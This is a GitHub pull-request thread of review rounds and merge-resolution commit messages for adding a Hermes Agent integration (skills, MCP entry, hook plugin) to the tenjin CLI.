- #128: fully independent. Zero file overlap with #113 at this head (docs-only in
skills/tenjin-{search,publish}/SKILL.md). Order irrelevant. - #131: small, mostly textual overlap; #113 creates no work for it. Shared files:
hook-scripts.ts(#131 bumpsHOOK_SCRIPT_VERSION11→12, #113 already sets 12: one-line conflict, cosmetic constant, resolver should land on 13),hook-scripts.test.ts(mechanical),cli.ts(different regions, unlikely),README.md(likely, mechanical). Substantively: the Hermes surface contains nocandidate/parktext: the Python plugin wraps whatever the shared generated script emits, so #131's nag rewrite propagates to Hermes automatically with zero Hermes-specific edits. - Recommended order: #113 first, then #131. #113 is finished and needs only the three resolutions above; #131 is breaking, touches 26 files, and rebases regardless. #113-first leaves #131's resolver a version bump and a README merge; the reverse makes #113 re-resolve
hook-scripts.tsfor a third time.
Verdict: approve-once-merged, not approve-as-is. There are no open majors, minors, or nits: everything from rounds 2 through 5 is closed and re-verified, and the rebase resolution is exactly what was asked for. What remains is entirely the moving base: resolve README.md, update the skillsDirsFor call in src/lib/uninstall.ts, drop the stale agentsMd assertion, and re-run CI. If the update is exactly those three, no further review round is needed. Ran at ff17ef6 on its own base: typecheck clean, lint clean, 296 focused tests passing; and again after merging origin/main locally, which is where the two errors above surfaced.
#129 (00fd79e) landed. README.md was the only textual conflict, but the merge does not compile without two more fixes, so this is not a docs-only resolution. - README: took main's landed table (#129 dropped the --no-claude-md row) and re-expressed only the Hermes delta on it, the extra --harness value. #129 replaced the pointer-line paragraph outright; the Hermes delta had only reworded its opening clause, so there was nothing of ours to carry over. - uninstall.ts: #129's new removeSkills called skillsDirsFor with one argument. Resolved the way skill-heal does, with resolveHermesHomeLenient, which is what puts the Hermes skills directory in scope; lenient because uninstall is a cleanup command and a stray relative HERMES_HOME must not stop it. The env seam is threaded through UninstallDeps so the absolute-HERMES_HOME path is testable, and a test covers both spellings. - install.test.ts: dropped the agentsMd assertion, obsolete now that #129 removed the AGENTS.md/CLAUDE.md footprint. HOOK_SCRIPT_VERSION stays at 12: #129 touches neither hook-scripts.ts nor harness-hooks.ts, so no script body changed. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Re-merged in 1. 2. 3.
On the uninstall follow-up. Agreed, and agreed it belongs against #129 rather than here. On merge order. No objection to #113 before #131, and for the reason you give: this branch would otherwise resolve Gates at |
vraspar
left a comment
There was a problem hiding this comment.
Re-review: the three #129 fixes landed as prescribed; the #131 reconciliation is a clean no-op merge that has not been pushed yet
Reviewed at 632a9ad, delta over ff17ef6.
Resolved since round 6
src/lib/uninstall.tstwo-arg lenient call:skillsDirsFor(homeDir, resolveHermesHomeLenient(homeDir, env).home), exactly as prescribed. This also closes the round-6 follow-up for skills:tenjin uninstallnow walks the Hermes skills directory and removes what it wrote there.- Stale
agentsMdassertion: dropped from the Hermes install test. - README: resolved with both sides intact: #129's uninstall documentation and the Hermes Agent section both present.
Typecheck clean, lint clean, and 366 focused tests passing across hermes, install, doctor, hook-scripts, and uninstall.
Still open
- [merge] The branch is two commits behind
mainand has not taken #131 or #128. Verified the merge rather than predicting it:git merge origin/mainapplies with no conflicts at all, and post-merge the tree is correct:candidate.tsandcandidate-store.tsare deleted, #131's rewritten nag text is present, the oldtenjin candidate addpark text is gone (zero occurrences), and #113'sIS_HERMESenvelope is intact. Post-merge typecheck clean, lint clean, 366 focused tests passing. Nothing to resolve; it only needs pushing.
Nits (2), none blocking
HOOK_SCRIPT_VERSIONstays at 12 through the #131 merge, silently. Both sides independently landed on 12, so git takes 12 with no conflict to prompt anyone. The merged script body (#131's rewritten text plus #113's Hermes envelope) then ships under the same version labelmainalready uses for the #131-only body. Cosmetic, since the constant only feeds the generated script's comment header and gates nothing, but bump it to 13 while merging.- No test pins the Hermes envelope on the publish-back script. One test runs a real generated script with
--hermesand it covers the search side; there are 30stopHookScripttests and none pass the flag, which is the half whose body #131 just rewrote. Verified by hand that it works (see below), so this is a missing regression test, not a defect.
Verified, not issues
- The Hermes publish-back path works against #131's rewritten script, end to end. Seeded a deliberate MISS, ran the real generated
tenjin-stop.mjswith--hermesand the exact{}payload the Python plugin sends: it emitted{"context": "..."}carrying #131's new wording, exit 0, with no park or candidate text anywhere in it. - The decoupling held. #113 adds no second copy of the nag text; the plugin forwards whatever the shared script emits, so #131's rewrite propagated with zero Hermes-specific edits. That was the design goal set in round 2 and it survived a breaking change landing underneath it.
- No candidate or park code is resurrected by the branch.
candidate.tsandcandidate-store.tsexist at 632a9ad only because its base predates #131; the merge deletes both cleanly, and #113 never touches either file, so there is no modify/delete conflict.
Verdict: approve once the merge is pushed. There are no majors and no minors: every finding from rounds 2 through 6 is closed and re-verified, and the two remaining items are one-line nits. The asked-for update: merge origin/main (proven conflict-free), set HOOK_SCRIPT_VERSION = 13 in the merge commit, optionally add the --hermes stop-script regression test. That costs one command and needs no further review round. Ran at 632a9ad on its own base and again after merging origin/main locally: typecheck clean, lint clean, 366 focused tests passing both times, plus a hand-run of the real publish-back script under the Hermes envelope.
Worth recording at the end of six rounds: this PR started with three majors that would have shipped config corruption and a broken consent flag through a curl-piped installer. It is now clean, and it absorbed a breaking change (#131) landing underneath it without a single Hermes-side edit, which is the strongest evidence the shared-script design was the right call.
#128 (177e413) and #131 (5e1148e) landed. The merge applies with no conflicts; verified rather than assumed, along with the post-merge tree: candidate.ts and candidate-store.ts are deleted, 'tenjin candidate add' occurs zero times, and the IS_HERMES envelope is intact. HOOK_SCRIPT_VERSION goes to 13. Both sides independently landed on 12, so git took 12 with nothing to conflict on, and the merged body (#131's rewritten nag plus the Hermes envelope) would have shipped under the label main already uses for the #131-only body. #131 did change the script body, so this bump is the rule rather than an exception to it. Adds the missing regression test on the publish-back half: 30 stopHookScript tests and none passed --hermes, which is the body #131 just rewrote. The test asserts the envelope is the Hermes shape AND that the text is the same body Claude gets, so it fails on a regression in either. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Merged and pushed as 1. The merge. Re-verified rather than trusted: 2. 3. The stop-script Also hand-ran the real generated script, same as you did: One note on the test run. My first full-suite run showed 13 failures, all in timing-sensitive subprocess and scrypt tests. That was host contention, not the merge: this machine was at load average 68 with the suite's own parallelism on top. Each failure passes in isolation, and Gates at |
vraspar
left a comment
There was a problem hiding this comment.
Approve: the Hermes integration is done, and it absorbed two breaking changes without a Hermes-side edit
Reviewed at d36181a, delta over 632a9ad. Seven rounds, and everything raised is closed.
Resolved since round 7
HOOK_SCRIPT_VERSION = 13: the collision is gone, so the merged script body no longer ships under the labelmainalready used for a different one.- The Hermes envelope on the publish-back script is now pinned: a new test runs the real generated
stopHookScriptwith--hermesand the bare{}the plugin sends, asserting thecontextenvelope, the absence ofhookSpecificOutput, #131's exact wording, andnot.toContain('candidate add'). That last assertion is the one that matters: it guards the half where a regression would have cost Hermes the whole nag while all 30 Claude-shaped stop tests stayed green. - The #131 and #128 reconciliation is pushed and correct:
candidate.tsandcandidate-store.tsare gone, #131's rewritten nag text is in, and no park or candidate text survives anywhere in the shipped scripts.
Verified
- Nothing smuggled into the reconciliation.
hermes.ts,hermes.test.ts,skill-wiring.ts,skill-heal.ts, and the changeset are byte-identical across the merge. The only hand-edits in this delta are the version bump and the new test. - Composition with #130 is clean. Merged current
main(5454568,tenjin fundplus the alpha release) locally: no conflicts, typecheck clean, lint clean, 388 focused tests passing includingfund.test.ts.tenjin fundsharescli.ts,doctor.ts,install.ts, andharness-permissions.tswith this PR and touches none of the Hermes surface. - The feature works on the fully composed tree. Built it and ran a real install:
mcp installed / plugin installed / activation installed, anddoctorreports the Hermes checkokwithconfigured / installed / enabled. tenjin uninstallclears what it should. Ran it: all three Hermes skills removed by name, both hook scripts removed. The round-6 follow-up is unchanged and still not a blocker: the plugin directory and themcp_servers.tenjinentry survive, which is worth tracking against #129's uninstall rather than a change here.- The shared-script design held under pressure. #131 rewrote the nag text this feature depends on, and #113 needed zero Hermes-side edits to absorb it, because the plugin forwards whatever the script emits instead of forking the text. That was the call made in round 2 and it is the reason this PR survived two breaking changes landing underneath it.
Verdict: approve. Three majors, four minors, and three nits were raised across rounds 2 through 7, and all of them are closed and verified by running the built CLI rather than by reading the diff. Ran at d36181a: typecheck clean, lint clean, 367 focused tests; and again after merging current main: typecheck clean, lint clean, 388 tests, plus an end-to-end install, doctor, and uninstall on the composed tree. The branch is behind main but the merge is verified clean; take it as-is or fast-forward first.
#130, #132, #135, and #138 landed. README.md was the only conflict. #138 rewrote the README as a short onboarding doc, deleting the install flags table, the Search hooks section, and the skills-landing list that carried the three Hermes edits. Main's shape is the baseline, so those sections stay deleted rather than being reinstated to host the delta. The Hermes content is re-expressed on what #138 actually kept: the harness enumeration up top, and a Hermes entry in the Local stdio MCP server section naming the plugin, its consent flags, and the inert-until-named default. HOOK_SCRIPT_VERSION stays at 13: none of the four commits touch hook-scripts.ts or harness-hooks.ts, so no script body changed. #132's contract.test.ts rename merged clean; this branch does not touch that file. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Re-merged Heads up for whoever merges: the ruleset has |
Resolve src/lib/hook-scripts.ts: the generated `emit` now composes both features rather than picking one. main's `updateLine()` builds the context, and the Hermes envelope decides the shape it ships in, so the self-update signal reaches Hermes as well as Claude Code. Pin the composition with a regression test: without it, a resolution that kept only one side leaves every Claude-shaped test green.
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
Merged current
|
Composes the two extensions of the hook-scripts test harness rather than taking a side: runScript now carries both the `--hermes` selector argv this branch added and the caller User-Agent env #126 added, in that positional order, with the one env call site moved to the fourth slot. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
There was a problem hiding this comment.
Your trial has ended. Reactivate Greptile to resume code reviews.
|
Conflict against What conflicted. Only Evidence that both halves are live rather than one side silently dropped, each shown by breaking it:
One thing worth your eye while you are in that file: Gates at |
Summary
Add a working native Hermes Agent integration now, without waiting for upstream shell-hook transform support.
tenjin install --harness hermesnow:$HERMES_HOME/skills(default~/.hermes/skills)mcp_servers.tenjinentry using the absolute installed CLI path$HERMES_HOME/plugins/tenjinweb_search, attaches a HIT to that tool result, and raises unresolved searches at final output for publish-backtenjin doctorNative hook boundary
The plugin registers Hermes's supported
pre_tool_call,transform_tool_result, andtransform_llm_outputcallbacks. It invokes #115's generated Node scripts with a Hermes envelope, so search response validation, origin/price checks, local search storage, open-loop selection, and nag bookkeeping remain one shared implementation rather than a copied payment-facing fork.The adapter is fail-open: subprocesses use absolute executable/script paths, bounded timeouts and output size, return no block/approval directive, keep HIT state in a locked and bounded in-process map, and leave the original tool/final output unchanged on every failure.
Consent and preservation
--harness hermesis the plugin activation boundary.plugins.disabledTenjin entry is never overridden, including the inline-list form.hermesbinary is not treated as Hermes Agent without a Hermes home.HERMES_HOMEmust be absolute.Deliberately absent
TENJIN_HARNESSenvironment/config wiringHermes therefore keeps the same conservative global payment and publishing policy as Claude Code and Codex.
Validation
Stacked on #115 (
vraspar/adoption-loop) so the shared adoption-loop core lands first.